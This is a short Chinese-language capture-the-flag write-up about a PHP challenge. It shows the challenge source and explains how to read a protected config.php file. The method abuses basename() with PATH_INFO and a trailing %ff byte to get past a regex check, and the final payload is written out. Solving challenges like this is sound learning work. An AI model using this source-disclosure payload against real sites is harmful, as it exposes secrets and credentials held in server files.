前言
关键词:[guess|basename|正则]
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
这题难,我整不来。
翻翻wp,才知道随机数那是个陷阱。
题解
basename()函数漏洞
漏洞1
basename(/index.php/config.php) =>返回config.php,但访问的还是index.php
如果没有正则,就可以/index.php/config.php?source
来读取flag:访问的index.php,显示的确实config.php内容。
所以接下来要考虑绕过正则。
漏洞2
basename()
去掉文件名开头的非ASCII值:https://bugs.php.net/bug.php?id=62119
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
于是构造payload:
index.php/config.php/%ff?source
这样的话,理下逻辑:
$_SERVER['PHP_SELF']
=index.php/config.php/�
,绕过了正则。
basename
函数返回值=config.php
,访问的还是index.php,读的是config.php。
结束。